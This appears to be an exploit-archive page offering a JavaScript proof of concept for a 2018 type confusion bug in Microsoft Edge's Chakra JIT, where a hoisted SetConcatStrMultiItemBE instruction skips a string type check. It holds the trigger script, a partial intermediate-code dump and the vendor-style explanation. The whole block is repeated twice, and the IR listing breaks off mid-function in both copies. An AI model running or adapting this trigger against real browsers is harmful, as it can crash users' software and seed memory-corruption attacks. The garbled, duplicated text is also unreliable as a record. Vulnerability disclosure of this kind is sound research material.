Microsoft edge chakra jit type confusion with hoisted setconcatstrmultiitembe instructions Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-07-12 |
Type : dos |
Platform : windows
This exploit / vulnerability Microsoft edge chakra jit type confusion with hoisted setconcatstrmultiitembe instructions is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
Here's a PoC:
*/
function opt(str) {
for (let i = 0; i < 200; i++) {
let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
}
}
opt('x');
opt(0x1234);
/*
Here's the IR code of the PoC before the global optimization phase:
---------
FunctionEntry #
s18.u64 = ArgIn_A prm1<32>.var #
s9.var = LdSlot s32(s18l[53]).var #
s7.var = LdSlot s20(s18l[51]).var #
s8.var = LdSlot s19(s18l[52]).var #
s1[Object].var = Ld_A 0x7FFFF47A0000 (GlobalObject)[Object].var #
s2.var = LdC_A_I4 0 (0x0).i32 #
s3.var = LdC_A_I4 200 (0xC8).i32 #
s4.var = LdC_A_I4 1 (0x1).i32 #
s5[String].var = LdStr 0x7FFFF47B9080 ("AAAAAAAAAA")[String].var #
s6[String].var = LdStr 0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var #
s17.var = InitLoopBodyCount #0009
---------
$L1: >>>>>>>>>>>>> LOOP TOP >>>>>>>>>>>>> Implicit call: no #000b
Line 2: i < 200; i++) {
Col 21: ^
StatementBoundary #1 #000b
s17.i32 = IncrLoopBodyCount s17.i32 #000b
BrLt_A $L3, s8.var, s3.var #000b
Br $L2 #0010
---------
$L3: #0013
Background:
Invariant operations like SetConcatStrMultiItemBE in a loop can be hoisted to the landing pad of the loop to avoid performing the same operation multiple times. When Chakra hoists a SetConcatStrMultiItemBE instruction, it creates a new Conv_PrimStr instruction to ensure the type of the Src1 of the SetConcatStrMultiItemBE instruction to be String and inserts it right before the SetConcatStrMultiItemBE instruction.
What happens here is:
1. The CheckFixedFld instruction ensures the type of s7 to be String.
2. Chakra judges that the CheckFixedFld instruction can't be hoisted in the case. It remains in the loop.
3. Chakra judges that the SetConcatStrMultiItemBE instructions can be hoisted. It hoists them along with a newly created Conv_PrimStr instruction, but without invalidating the type of s7 (String).
4. So the "s49[String].var = Conv_PrimStr s7<s44>[String].var" instruction is inserted into the landing pad. Since s7 is already assumed to be of String, the instruction will have no effects at all.
5. No type check will be performed. It will result in type confusion.
*/ /*
Here's a PoC:
*/
function opt(str) {
for (let i = 0; i < 200; i++) {
let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
}
}
opt('x');
opt(0x1234);
/*
Here's the IR code of the PoC before the global optimization phase:
---------
FunctionEntry #
s18.u64 = ArgIn_A prm1<32>.var #
s9.var = LdSlot s32(s18l[53]).var #
s7.var = LdSlot s20(s18l[51]).var #
s8.var = LdSlot s19(s18l[52]).var #
s1[Object].var = Ld_A 0x7FFFF47A0000 (GlobalObject)[Object].var #
s2.var = LdC_A_I4 0 (0x0).i32 #
s3.var = LdC_A_I4 200 (0xC8).i32 #
s4.var = LdC_A_I4 1 (0x1).i32 #
s5[String].var = LdStr 0x7FFFF47B9080 ("AAAAAAAAAA")[String].var #
s6[String].var = LdStr 0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var #
s17.var = InitLoopBodyCount #0009
---------
$L1: >>>>>>>>>>>>> LOOP TOP >>>>>>>>>>>>> Implicit call: no #000b
Line 2: i < 200; i++) {
Col 21: ^
StatementBoundary #1 #000b
s17.i32 = IncrLoopBodyCount s17.i32 #000b
BrLt_A $L3, s8.var, s3.var #000b
Br $L2 #0010
---------
$L3: #0013
Background:
Invariant operations like SetConcatStrMultiItemBE in a loop can be hoisted to the landing pad of the loop to avoid performing the same operation multiple times. When Chakra hoists a SetConcatStrMultiItemBE instruction, it creates a new Conv_PrimStr instruction to ensure the type of the Src1 of the SetConcatStrMultiItemBE instruction to be String and inserts it right before the SetConcatStrMultiItemBE instruction.
What happens here is:
1. The CheckFixedFld instruction ensures the type of s7 to be String.
2. Chakra judges that the CheckFixedFld instruction can't be hoisted in the case. It remains in the loop.
3. Chakra judges that the SetConcatStrMultiItemBE instructions can be hoisted. It hoists them along with a newly created Conv_PrimStr instruction, but without invalidating the type of s7 (String).
4. So the "s49[String].var = Conv_PrimStr s7<s44>[String].var" instruction is inserted into the landing pad. Since s7 is already assumed to be of String, the instruction will have no effects at all.
5. No type check will be performed. It will result in type confusion.
*/
Microsoft edge chakra jit type confusion with hoisted setconcatstrmultiitembe instructions